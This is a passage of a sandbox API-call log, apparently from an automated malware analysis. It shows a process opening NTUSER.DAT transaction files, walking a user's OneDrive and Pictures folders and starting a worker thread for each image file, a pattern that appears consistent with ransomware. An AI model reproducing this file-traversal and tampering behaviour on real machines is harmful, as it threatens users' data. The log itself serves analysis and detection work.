Flags=0x0, BaseAddress=0x34247d0) returned 1 [0063.551] RtlExitUserThread (Status=0x0) Thread: id = 282 os_tid = 0x12e0 [0063.553] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26 [0063.553] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x20) returned 1 [0063.553] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.553] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x26) returned 1 [0063.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34248b8) returned 1 [0063.554] RtlExitUserThread (Status=0x0) Thread: id = 283 os_tid = 0x12e4 [0063.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434328 [0063.554] wcscpy (in: _Dest=0x3434328, _Source="C:\\Users\\FD1HVy\\OneDrive" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive") returned="C:\\Users\\FD1HVy\\OneDrive" [0063.554] wcscat (in: _Dest=0x3434328, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive\\") returned="C:\\Users\\FD1HVy\\OneDrive\\" [0063.555] wcscat (in: _Dest=0x3434328, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive\\*") returned="C:\\Users\\FD1HVy\\OneDrive\\*" [0063.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427ab8 [0063.555] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive\\*", lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0063.555] wcscmp (_String1=".", _String2=".") returned 0 [0063.555] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.555] wcscmp (_String1="..", _String2=".") returned 1 [0063.555] wcscmp (_String1="..", _String2="..") returned 0 [0063.555] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.555] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.555] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.555] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.555] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0063.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ab8) returned 1 [0063.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434328) returned 1 [0063.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34338e8) returned 1 [0063.555] RtlExitUserThread (Status=0x0) Thread: id = 284 os_tid = 0x12e8 [0063.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34338e8 [0063.556] wcscpy (in: _Dest=0x34338e8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.556] wcscat (in: _Dest=0x34338e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.556] wcscat (in: _Dest=0x34338e8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\*") returned="C:\\Users\\FD1HVy\\Pictures\\*" [0063.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427ab8 [0063.556] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5dccc0fb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5dccc0fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434328 [0063.557] wcscmp (_String1=".", _String2=".") returned 0 [0063.557] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5dccc0fb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5dccc0fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.557] wcscmp (_String1="..", _String2=".") returned 1 [0063.557] wcscmp (_String1="..", _String2="..") returned 0 [0063.557] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x544c05e0, ftCreationTime.dwHighDateTime=0x1d4cb69, ftLastAccessTime.dwLowDateTime=0xbf444460, ftLastAccessTime.dwHighDateTime=0x1d4c917, ftLastWriteTime.dwLowDateTime=0xbf444460, ftLastWriteTime.dwHighDateTime=0x1d4c917, nFileSizeHigh=0x0, nFileSizeLow=0xbdb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="14xFtQ.jpg", cAlternateFileName="")) returned 1 [0063.557] wcscmp (_String1="14xFtQ.jpg", _String2=".") returned 1 [0063.557] wcscmp (_String1="14xFtQ.jpg", _String2="..") returned 1 [0063.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x341e188 [0063.557] wcscpy (in: _Dest=0x341e188, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.557] wcscat (in: _Dest=0x341e188, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.557] wcscat (in: _Dest=0x341e188, _Source="14xFtQ.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg" [0063.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341e188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0063.603] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c05310, ftCreationTime.dwHighDateTime=0x1d4c961, ftLastAccessTime.dwLowDateTime=0x174fc5c0, ftLastAccessTime.dwHighDateTime=0x1d4d0bc, ftLastWriteTime.dwLowDateTime=0x174fc5c0, ftLastWriteTime.dwHighDateTime=0x1d4d0bc, nFileSizeHigh=0x0, nFileSizeLow=0xe8d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="5iqL.gif", cAlternateFileName="")) returned 1 [0063.603] wcscmp (_String1="5iqL.gif", _String2=".") returned 1 [0063.603] wcscmp (_String1="5iqL.gif", _String2="..") returned 1 [0063.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x3480f88 [0063.603] wcscpy (in: _Dest=0x3480f88, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.603] wcscat (in: _Dest=0x3480f88, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.603] wcscat (in: _Dest=0x3480f88, _Source="5iqL.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif") returned="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif" [0063.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0063.604] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1234580, ftCreationTime.dwHighDateTime=0x1d4cc1b, ftLastAccessTime.dwLowDateTime=0xed1d6790, ftLastAccessTime.dwHighDateTime=0x1d4ce80, ftLastWriteTime.dwLowDateTime=0xed1d6790, ftLastWriteTime.dwHighDateTime=0x1d4ce80, nFileSizeHigh=0x0, nFileSizeLow=0x17743, dwReserved0=0x0, dwReserved1=0x0, cFileName="5J81Ln8x2N42.gif", cAlternateFileName="5J81LN~1.GIF")) returned 1 [0063.604] wcscmp (_String1="5J81Ln8x2N42.gif", _String2=".") returned 1 [0063.604] wcscmp (_String1="5J81Ln8x2N42.gif", _String2="..") returned 1 [0063.604] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3482038 [0063.604] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.604] wcscat (in: _Dest=0x3482038, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.604] wcscat (in: _Dest=0x3482038, _Source="5J81Ln8x2N42.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif") returned="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif" [0063.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0063.605] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2611e6b0, ftCreationTime.dwHighDateTime=0x1d4d495, ftLastAccessTime.dwLowDateTime=0xc0c766b0, ftLastAccessTime.dwHighDateTime=0x1d4d5b4, ftLastWriteTime.dwLowDateTime=0xc0c766b0, ftLastWriteTime.dwHighDateTime=0x1d4d5b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c56, dwReserved0=0x0, dwReserved1=0x0, cFileName="5lFfhHC1PhkhSHOHY_r-.gif", cAlternateFileName="5LFFHH~1.GIF")) returned 1 [0063.605] wcscmp (_String1="5lFfhHC1PhkhSHOHY_r-.gif", _String2=".") returned 1 [0063.605] wcscmp (_String1="5lFfhHC1PhkhSHOHY_r-.gif", _String2="..") returned 1 [0063.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347df50 [0063.605] wcscpy (in: _Dest=0x347df50, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.605] wcscat (in: _Dest=0x347df50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.605] wcscat (in: _Dest=0x347df50, _Source="5lFfhHC1PhkhSHOHY_r-.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif") returned="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif" [0063.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0063.606] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d7d550, ftCreationTime.dwHighDateTime=0x1d4cc56, ftLastAccessTime.dwLowDateTime=0x6b312520, ftLastAccessTime.dwHighDateTime=0x1d4c8ac, ftLastWriteTime.dwLowDateTime=0x6b312520, ftLastWriteTime.dwHighDateTime=0x1d4c8ac, nFileSizeHigh=0x0, nFileSizeLow=0xdae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9b1gCmF D0WXqDONeE4.gif", cAlternateFileName="9B1GCM~1.GIF")) returned 1 [0063.606] wcscmp (_String1="9b1gCmF D0WXqDONeE4.gif", _String2=".") returned 1 [0063.606] wcscmp (_String1="9b1gCmF D0WXqDONeE4.gif", _String2="..") returned 1 [0063.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347d9a0 [0063.606] wcscpy (in: _Dest=0x347d9a0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.606] wcscat (in: _Dest=0x347d9a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.606] wcscat (in: _Dest=0x347d9a0, _Source="9b1gCmF D0WXqDONeE4.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif") returned="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif" [0063.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0063.607] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c0f0c0, ftCreationTime.dwHighDateTime=0x1d4d4c3, ftLastAccessTime.dwLowDateTime=0xc312e0f0, ftLastAccessTime.dwHighDateTime=0x1d4d53e, ftLastWriteTime.dwLowDateTime=0xc312e0f0, ftLastWriteTime.dwHighDateTime=0x1d4d53e, nFileSizeHigh=0x0, nFileSizeLow=0xf199, dwReserved0=0x0, dwReserved1=0x0, cFileName="bqoj4HgOUy4 XwP9DD.png", cAlternateFileName="BQOJ4H~1.PNG")) returned 1 [0063.607] wcscmp (_String1="bqoj4HgOUy4 XwP9DD.png", _String2=".") returned 1 [0063.607] wcscmp (_String1="bqoj4HgOUy4 XwP9DD.png", _String2="..") returned 1 [0063.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427000 [0063.607] wcscpy (in: _Dest=0x3427000, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.607] wcscat (in: _Dest=0x3427000, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.607] wcscat (in: _Dest=0x3427000, _Source="bqoj4HgOUy4 XwP9DD.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png") returned="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png" [0063.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0063.608] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51326440, ftCreationTime.dwHighDateTime=0x1d4c64f, ftLastAccessTime.dwLowDateTime=0x8699f960, ftLastAccessTime.dwHighDateTime=0x1d4cce2, ftLastWriteTime.dwLowDateTime=0x8699f960, ftLastWriteTime.dwHighDateTime=0x1d4cce2, nFileSizeHigh=0x0, nFileSizeLow=0x130f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv1aiFGH09Z 45-.jpg", cAlternateFileName="BV1AIF~1.JPG")) returned 1 [0063.608] wcscmp (_String1="Bv1aiFGH09Z 45-.jpg", _String2=".") returned 1 [0063.608] wcscmp (_String1="Bv1aiFGH09Z 45-.jpg", _String2="..") returned 1 [0063.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426df8 [0063.608] wcscpy (in: _Dest=0x3426df8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.608] wcscat (in: _Dest=0x3426df8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.608] wcscat (in: _Dest=0x3426df8, _Source="Bv1aiFGH09Z 45-.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg" [0063.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0063.609] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0063.609] wcscmp (_String1="Camera Roll", _String2=".") returned 1 [0063.609] wcscmp (_String1="Camera Roll", _String2="..") returned 1 [0063.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430d30 [0063.609] wcscpy (in: _Dest=0x3430d30, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.609] wcscat (in: _Dest=0x3430d30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.609] wcscat (in: _Dest=0x3430d30, _Source="Camera Roll" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll" [0063.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0063.610] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cd860, ftCreationTime.dwHighDateTime=0x1d4cda3, ftLastAccessTime.dwLowDateTime=0xb4ef82f0, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0xb4ef82f0, ftLastWriteTime.dwHighDateTime=0x1d4ca10, nFileSizeHigh=0x0, nFileSizeLow=0x18cab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrlWdSMZC3os0Ezc.png", cAlternateFileName="CLRLWD~1.PNG")) returned 1 [0063.610] wcscmp (_String1="ClrlWdSMZC3os0Ezc.png", _String2=".") returned 1 [0063.610] wcscmp (_String1="ClrlWdSMZC3os0Ezc.png", _String2="..") returned 1 [0063.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426e60 [0063.610] wcscpy (in: _Dest=0x3426e60, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.610] wcscat (in: _Dest=0x3426e60, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.610] wcscat (in: _Dest=0x3426e60, _Source="ClrlWdSMZC3os0Ezc.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png") returned="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png" [0063.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0063.611] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b81520, ftCreationTime.dwHighDateTime=0x1d4cc30, ftLastAccessTime.dwLowDateTime=0x4129480, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0x4129480, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x2924, dwReserved0=0x0, dwReserved1=0x0, cFileName="CqupCCkQphRahcGg.bmp", cAlternateFileName="CQUPCC~1.BMP")) returned 1 [0063.611] wcscmp (_String1="CqupCCkQphRahcGg.bmp", _String2=".") returned 1 [0063.611] wcscmp (_String1="CqupCCkQphRahcGg.bmp", _String2="..") returned 1 [0063.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34273a8 [0063.611] wcscpy (in: _Dest=0x34273a8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.611] wcscat (in: _Dest=0x34273a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.611] wcscat (in: _Dest=0x34273a8, _Source="CqupCCkQphRahcGg.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp" [0063.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34273a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0063.612] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.612] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.612] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.612] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671d3f90, ftCreationTime.dwHighDateTime=0x1d4ce07, ftLastAccessTime.dwLowDateTime=0x4cc7a3b0, ftLastAccessTime.dwHighDateTime=0x1d4cc7c, ftLastWriteTime.dwLowDateTime=0x4cc7a3b0, ftLastWriteTime.dwHighDateTime=0x1d4cc7c, nFileSizeHigh=0x0, nFileSizeLow=0x5b41, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHnEV.jpg", cAlternateFileName="")) returned 1 [0063.612] wcscmp (_String1="DHnEV.jpg", _String2=".") returned 1 [0063.612] wcscmp (_String1="DHnEV.jpg", _String2="..") returned 1 [0063.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3480fd8 [0063.612] wcscpy (in: _Dest=0x3480fd8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.612] wcscat (in: _Dest=0x3480fd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.612] wcscat (in: _Dest=0x3480fd8, _Source="DHnEV.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg" [0063.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0063.614] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12ad780, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0x82de6620, ftLastAccessTime.dwHighDateTime=0x1d4d102, ftLastWriteTime.dwLowDateTime=0x82de6620, ftLastWriteTime.dwHighDateTime=0x1d4d102, nFileSizeHigh=0x0, nFileSizeLow=0x51d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dRSKsP.gif", cAlternateFileName="")) returned 1 [0063.614] wcscmp (_String1="dRSKsP.gif", _String2=".") returned 1 [0063.615] wcscmp (_String1="dRSKsP.gif", _String2="..") returned 1 [0063.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3481028 [0063.615] wcscpy (in: _Dest=0x3481028, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") 